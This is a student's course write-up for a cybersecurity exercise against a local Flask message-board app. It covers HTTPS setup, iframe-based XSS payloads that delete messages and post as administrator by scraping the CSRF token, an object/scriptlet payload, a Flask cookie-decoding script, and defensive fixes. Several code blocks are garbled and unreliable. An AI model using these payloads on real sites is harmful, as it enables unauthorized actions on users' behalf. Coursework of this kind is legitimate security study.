# **Ex3 Cyber**

#### Running the program (macOS):

- 1. Enter the XSSApp folder
- 2. Download require requirements using: pip install -r requirements.txt
- 3. Run the program using: python -m XSSApp

### Question 1)

In order to create a certificate for the program, I downloaded OpenSSL using homebrew (on a mac), and then followed various tutorials.

Sources:

- 1. How to get HTTPS working on your local development
- 2. HTTPS leaf SSL certificate install for localhost development Mac OS
- 3. SSL for flask local development

Once I had the required files inside my app (following the above instructions), I edited the code. I added in the start\_app() function in the app.py file as:

```
context = ('server.crt', 'server.key')
app.run(host="0.0.0.0", ssl_context=context)
```

Now the server opened from HTTPS.

```
* Debug mode: off

* Running on all addresses (0.0.0.0)

WARNING: This is a development server. Do not use it in a production deployment.

* Running on https://127.0.0.1:5000

* Running on https://192.168.1.223:5000 (Press CTRL+C to quit)

[2022-05-15 20:07:05,960] INFO in app: <SecureCookieSession {}-

127.0.0.1 - [15/May/2022 20:07:06] "GET / HTTP/1.1" 200 -

127.0.0.1 - [15/May/2022 20:07:06] "GET / favicon.ico HTTP/1.1" 200 -
```

```
← → C ▲ Non sicuro | https://127.0.0.1:5000
```

As is shown in the immage Chrome still didn't find my certificate safe. This is due to the fact that my certificate is self-signed.

In addition, as of 2017 Chrome started to require that the cert's **subjectAltName** parameter be filled. I found this can be achieved by: <u>StackOverflow: Generate a self-signed certificate with</u> SubjectAltName using OpenSSL. but I didn't attempt to do so.

# **Question 2)**

I was able to run Javascript scripts on the page using the iframe tag inside the message input text.

For example, putting this as message results in an alert:

```
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
```

#### 1. Delete all messages as administrator:

To delete all messages I had to send a GET request to the <code>/drop\_all\_messages</code> url. As shown in the code:

```
@app.route("/drop_all_messages")

def drop_all_messages():
    if is_administrator_logged_in():
        messages.clear()
    return flask.redirect('/')
```

I wrote the following Javascript code to do so:

```
var xmlHttp = new XMLHttpRequest();
xmlHttp.open('GET', 'http://127.0.0.1:5000/drop_all_messages',false);
xmlHttp.send(null);
```

I then turned it into a src for the iframe tag:

```
<IFRAME SRC="javascript:var xmlHttp = new XMLHttpRequest();
xmlHttp.open('GET','https://127.0.0.1:5000/drop_all_messages',false);
xmlHttp.send(null);"></IFRAME>
```

Which indeed deleted all messaged when the admnistrator was connected. Another way could have been:

```
<IFRAME
SRC="javascript:window.location.replace('https://127.0.0.1:5000/drop_all_messages');">
</IFRAME>
```

#### 2. Send a message as administrator:

In order to send a message it's needed to send a POST request to /request with the appropriate body.

The problem is that part of the body is the <code>csrf\_token</code>, which gets compared to the actual session <code>csrf\_token</code>, which changes for each session.

In order to get this token I found a workaround. I noticed that in the index.html the value appears, it's simply not rendered, it's hidden.

The only thing I had to do was get the HTML content of the page, and parse it to get the csrf token value.

I wrote the following Javascript code:

```
var xmlHttp = new XMLHttpRequest();
xmlHttp.popen('GET', 'https://127.8.0.1:5808/',false);
xmlHttp.popen('GET', 'https://127.8.0.1:5808/',false);
xmlHttp.responseText.indexOf('won wanner camena');
if (index != 734) (
var first = xmlHttp.responseText.split('value=')[1];
var token = first.split('name=')[8].slice(1, -1];
var token = first.split('name=')[8].slice(1, -1];
var token = mex XMLHttpRequest(); xhr.open('PGST', 'https://127.8.8.1:5808/request', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
```

I first send a GET request to the website, which will return a resp with the HTML content.
 As shown here:

- I then check wether the Administrator is logged in, by getting the index of weak message.

  The number 734 was achieved by previos test printing scripts.
- If the administrator is logged, I parse the string to get the exact token value.
- I then send a POST request. I make sure the encoding is application/x-www-form-urlencoded, as I was able to verify for normal requests. I create the body and send together.

The complete final iframe is:

```
<IFRAME SRC="javascript:var xmlHttp = new XMLHttpRequest();
xmlHttp.open('GET','https://127.0.0.1:5000/',false); xmlHttp.send(null); var
index =xmlHttp.responseText.indexOf('אתה מחובר כמשתמש חלש'); if (index != 734) {
var first = xmlHttp.responseText.split('value=')[1]; var token = first.split('</pre>
```

Once inputted as message it worked as expected.

This of course assumes that the attacker has done reaserch on the response of the GET request (by printing etc), and is therefore able to know the <code>csrf\_token</code> is present, and how to parse it in a precise manner.

## **Question 3**

The complete final iframe is:

To solve this question I decided to check that the message getting posted, would be posted only one time. I did this by checking that a message with the <a href="https://phone\_number=542119146">phone\_number=542119146</a> would only appear once.

To do this, I used basic javascript. I wrote the following code:

xhr.open('POST','https://127.0.0.1:5000/request',true);

This will send the message only if the string 542119146 appears less than twice in the xmlHttp.responseText, once for the attack message, the other for the first message.

<IFRAME SRC="javascript: var xmlHttp = new XMLHttpRequest();
xmlHttp.open('GET','https://127.0.0.1:5000/',false); xmlHttp.send(null); var
index = xmlHttp.responseText.indexOf('שתמש חלש'); if (index != 734)
{var attackerNumber = 542119146; var attackIndex =
xmlHttp.responseText.indexOf(attackerNumber);if
(xmlHttp.responseText.indexOf(attackerNumber, attackIndex + 1) == -1){var first =
xmlHttp.responseText.split('value=')[1]; var token = first.split(' name=')
[0].slice(1, -1); var xhr = new XMLHttpRequest();</pre>

```
xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
xhr.send('name=Admin&email=admin%40attacker.attacker&subject=HelloWorld&phone_number='
+ encodeURIComponent(token));}};"></IFRAME>
```

#### Note:

This answer assumes no other user would input a message with such phone number, not before and not after the attack. Otherwise, the attacker won't be able to send the malicious message even the first time. This assumes (as it's written on Piazza), that the field phone\_number is unique. It assumes no other user would try to insert this number before, as it's the personal cellular of the attacker.

#### **Question 4)**

This attack actually worked for me ( Chrome v-101.0.4951.64 ). I wrote the following in the message input:

```
<OBJECT TYPE="text/x-scriptlet" DATA="https://xss.rocks/scriptlet.html"></OBJECT>
```

And it resulted in an alert on each refresh as expected.

After reaserching the <object> tag, I found that it might not always work.

For example, at <u>why chrome not act in tag</u> they explain that the object tag is not reliable cross-browers and is deprecated.

In addition, there seems to be a specific issue with <code>type="text/x-scriptlet"</code> , which is what allows the attack

In here <u>text/x-scriptlet</u> not <u>working on Chrome</u>, they explain that scriptlets are an experimental, non-standard technology that is only supported by Internet Explorer.

Practically, as my attack worked, I'm not sure exactly when such an attack will be stopped, but from the findings above I understand the doubt of it working.

## **Question 5)**

Ways to improve the safety of the site

- **1. Not include the csrf\_token inside the HTML:** even if element is hidden, the value can still be extracted. Why would you include this sensitive information in the html?
- **2. Set the SESSION\_COOKIE\_HTTPONLY=True:** this will allow for the cookies to be inaccesible from the javascript.
- **3. Use a different markdown for message than HTML:** for the message input some HTML markup is used. Use a safer markup which doesn't work with HTML tags.
- **4. Better sanitize the message input:** the program could include a more accurate message sanitization, that, among others, prevents javascripts to run on iframes.

## **Question 6)**

The attack mentioned in question 2 works even if the SESSION\_COOKIE\_HTTPONLY is set to True. But I decided to reaserch this matter and understand the meaning of such flag.

When a cookie is defines a HTTPONLY is highly secure, and is therefore not accessible from javascripts. For example, when doing in javascript: document.cookies, it won't return the HTTPONLY cookies.

From here I deducted that having SESSION\_COOKIE\_HTTPONLY = False should assist in retrieving the value of csrf\_token from the javascript (which I needed for question 2).

I tried printing the document.cookies various times. It did indeed give different results for SESSION\_COOKIE\_HTTPONLY = False vs SESSION\_COOKIE\_HTTPONLY = True, but, the result looked nothing closer to the actual SecureCookieSession which I have logged from the python app. Here is an example:

Turns out, the above cookie is in fact the SecureCookieSession, but it's encrypted, and it uses the Python secret\_key for the encryption. This means that even if I was able to access this cookie (SESSION\_COOKIE\_HTTPONLY = False), I couldn't read the actual content before decrypting.

I decided to write a python script which would decrypt a Flask token given cookie and secret key.

```
def decode_flask_cookie(secret_key, cookie_str):
    import hashlib
    from itsdamperous import URLSafeTimedSerializer
    from flask.sessions import TaggedJSONSerializer
    salt = 'cookie-session'
    serializer = TaggedJSONSerializer()
```

```
signer_kwargs *(
    'key_derivation': 'hmmac',
'digest_method': hmmac',
'digest_method': h
```

As you can see here it works as expected:

```
defected. Task consistences. Lay. conkie_str);

logort caskle

from itsdemperious logort Witter/imeder-latizer

strict Victor Imeder-latizer

strict Victor Imeder-latizer

is specializer | imeder-latizer

is unitarized logotic_strict

if _name__ss__main__s;

if _name__ss__main__s;

secret_lays = objects/sintribusid-logory.

from itsdemperious logotic_strict

if _name_ss__main__s;

secret_lays = objects/sintribusid-logory.

from itsdemperious logotic_strict

from itsd
```

But to do this you need the app\_secret\_key, which I wasn't able to retreive from javascript.

A possible error here is the printing of this <code>app\_secret\_key</code> from the python code (it is printed in the code provided). If the server logs were published as routine on some common public monotoring platform, such as <a href="Splunk">Splunk</a>, an attacker could exploit it and find the cookie as I did above.

Sara Spagnoletto - 345990808